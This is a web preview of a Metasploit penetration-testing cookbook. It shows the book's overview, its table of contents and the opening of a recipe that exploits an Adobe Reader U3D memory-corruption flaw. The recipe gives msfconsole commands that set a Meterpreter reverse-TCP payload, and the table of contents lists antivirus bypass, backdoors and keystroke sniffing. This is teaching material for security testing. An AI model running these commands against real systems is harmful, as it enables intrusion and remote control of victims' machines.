Metasploit Penetration Testing Cookbook, Second Edition

Metasploit Penetration Testing Cookbook, Second Edition

By : Monika Agarwal, Abhinav Singh

Buy this Book

Metasploit Penetration Testing Cookbook, Second Edition

By: Monika Agarwal, Abhinav Singh

Buy this Book

Overview of this book

Metasploit software helps security and IT professionals identify security issues, verify vulnerability mitigations, and manage expert-driven security assessments. Capabilities include smart exploitation, password auditing, web application scanning, and social engineering. Teams can collaborate in Metasploit and present their findings in consolidated reports. The goal of the software is to provide a clear understanding of the critical vulnerabilities in any environment and to manage those risks. Metasploit Penetration Testing Cookbook, Second Edition contains chapters that are logically arranged with an increasing level of complexity and thoroughly covers some aspects of Metasploit, ranging from pre-exploitation to the post-exploitation phase. This book is an update from version 4.0 to version 4.5. It covers the detailed penetration testing techniques for different specializations like wireless networks, VOIP systems, and the cloud. Metasploit Penetration Testing Cookbook, Second Edition covers a number of topics which were not part of the first edition. You will learn how to penetrate an operating system (Windows 8 penetration testing) to the penetration of a wireless network, VoIP network, and then to cloud. The book starts with the basics, such as gathering information about your target, and then develops to cover advanced topics like building your own framework scripts and modules. The book goes deep into operating-systems-based penetration testing techniques and moves ahead with client-based exploitation methodologies. In the post-exploitation phase, it covers meterpreter, antivirus bypass, ruby wonders, exploit building, porting exploits to the framework, and penetration testing, while dealing with VOIP, wireless networks, and cloud computing. This book will help readers to think from a hacker's perspective to dig out the flaws in target networks and also to leverage the powers of Metasploit to compromise them. It will take your penetration skills to the next level.

Metasploit Penetration Testing CookbookSecond Edition

Credits

About the Authors

About the Reviewers

www.PacktPub.com

Preface

Free Chapter

Metasploit Quick Tips for Security Professionals

Introduction

Configuring Metasploit on Windows

Configuring Metasploit on Ubuntu

Installing Metasploit with BackTrack 5 R3

Setting up penetration testing using VMware

Setting up Metasploit on a virtual machine with SSH connectivity

Installing and configuring PostgreSQL in BackTrack 5 R3

Using the database to store the penetration testing results

Working with BBQSQL

Information Gathering and Scanning

Introduction

Passive information gathering

Port scanning – the Nmap way

Port scanning – the DNmap way

Using keimpx – an SMB credentials scanner

Detecting SSH versions with the SSH version scanner

FTP scanning

SNMP sweeping

Vulnerability scanning with Nessus

Scanning with NeXpose

Working with OpenVAS – a vulnerability scanner

Operating-System-based Vulnerability Assessment

Introduction

Penetration testing on a Windows XP SP2 machine

Binding a shell to the target for remote access

Penetration testing on Windows 8

Exploiting a Linux (Ubuntu) machine

Understanding the Windows DLL injection flaws

Client-side Exploitation and Antivirus Bypass

Introduction

Exploiting Internet Explorer execCommand Use-After-Free vulnerability

Understanding Adobe Flash Player "new function" invalid pointer use

Understanding Microsoft Word RTF stack buffer overflow

Working with Adobe Reader U3D Memory Corruption

Generating binary and shell code from msfpayload

Msfencoding schemes with the detection ratio

Using the killav.rb script to disable the antivirus programs

Killing the antiviruses' services from the command line

Working with the syringe utility

Working with Modules for Penetration Testing

Introduction

Working with scanner auxiliary modules

Working with auxiliary admin modules

SQL injection and DoS attack module

Post-exploitation modules

Understanding the basics of module building

Analyzing an existing module

Building your own post-exploitation module

Exploring Exploits

Introduction

Exploiting the module structure

Working with msfvenom

Converting an exploit to a Metasploit module

Porting and testing the new exploit module

Fuzzing with Metasploit

Writing a simple FileZilla FTP fuzzer

VoIP Penetration Testing

Introduction

Scanning and enumeration phase

Wireless Network Penetration Testing

Introduction

Setting up and running Fern WiFi Cracker

Sniffing interfaces with tcpdump

Cracking WEP and WPA with Fern WiFi Cracker

Session hijacking via a MAC address

Locating a target's geolocation

Understanding an evil twin attack

Configuring Karmetasploit

Social-Engineer Toolkit

Introduction

Getting started with the Social-Engineer Toolkit (SET)

Working with the SET config file

Working with the spear-phishing attack vector

Website attack vectors

Working with the multi-attack web method

Infectious media generator

Working with Meterpreter

Introduction

Understanding the Meterpreter system commands

Understanding the Meterpreter filesystem commands

Understanding the Meterpreter networking commands

Privilege escalation and process migration

Setting up multiple communication channels with the target

Meterpreter anti-forensics – timestomp

The getdesktop and keystroke sniffing

Using a scraper Meterpreter script

Passing the hash

Setting up a persistent connection with backdoors

Pivoting with Meterpreter

Port forwarding with Meterpreter

Meterpreter API and mixins

Railgun – converting Ruby into a weapon

Adding DLL and function definition to Railgun

Building a "Windows Firewall De-activator" Meterpreter script

Analyzing an existing Meterpreter script

Injecting the VNC server remotely

Exploiting a vulnerable PHP application

Incognito attack with Meterpreter

Pentesting in the Cloud

Introduction

Pentesting in the cloud

Pentesting in the cloud with hackaserver.com

Index

Customer Reviews

5 star

4 star

3 star

2 star

1 star

Working with Adobe Reader U3D Memory Corruption

This module exploits vulnerability in the U3D handling within Versions 9.x through 9.4.6 and 10 through 10.1.1 of Adobe Reader. There is a vulnerabilty here because of the use of uninitialized memory. Random code execution is gained by embedding specially crafted U3D data into a PDF document. A heap spray via JavaScript is used in order to ensure that the memory used by the invalid pointer issue is controlled.

Getting ready

Here we are using Windows XP SP3 as the target machine and BackTrack 5 R3 as an attacker machine. To start with, start msfconsole and it will show you the following:

msf>

How to do it...

In this recipe, we will again be exploiting a remote machine by leveraging a flaw in Adobe that is U3D Memory Corruption:

Msf  > use exploit/windows/adobe_reader_u3d
Msf exploit (adobe_reader_u3d) > set PAYLOAD windows/meterpreter/reverse_tcp
Payload =>  windows/meterpreter/reverse_tcp
Msf exploit (adobe_reader_u3d) > set LHOST...

Metasploit Penetration Testing Cookbook, Second Edition

By : Monika Agarwal, Abhinav Singh

Metasploit Penetration Testing Cookbook, Second Edition

By: Monika Agarwal, Abhinav Singh

Overview of this book

Related Content you might be interested in

Current Title:

Metasploit Penetration Testing Cookbook, Second Edition

Working with Adobe Reader U3D Memory Corruption

Getting ready

How to do it...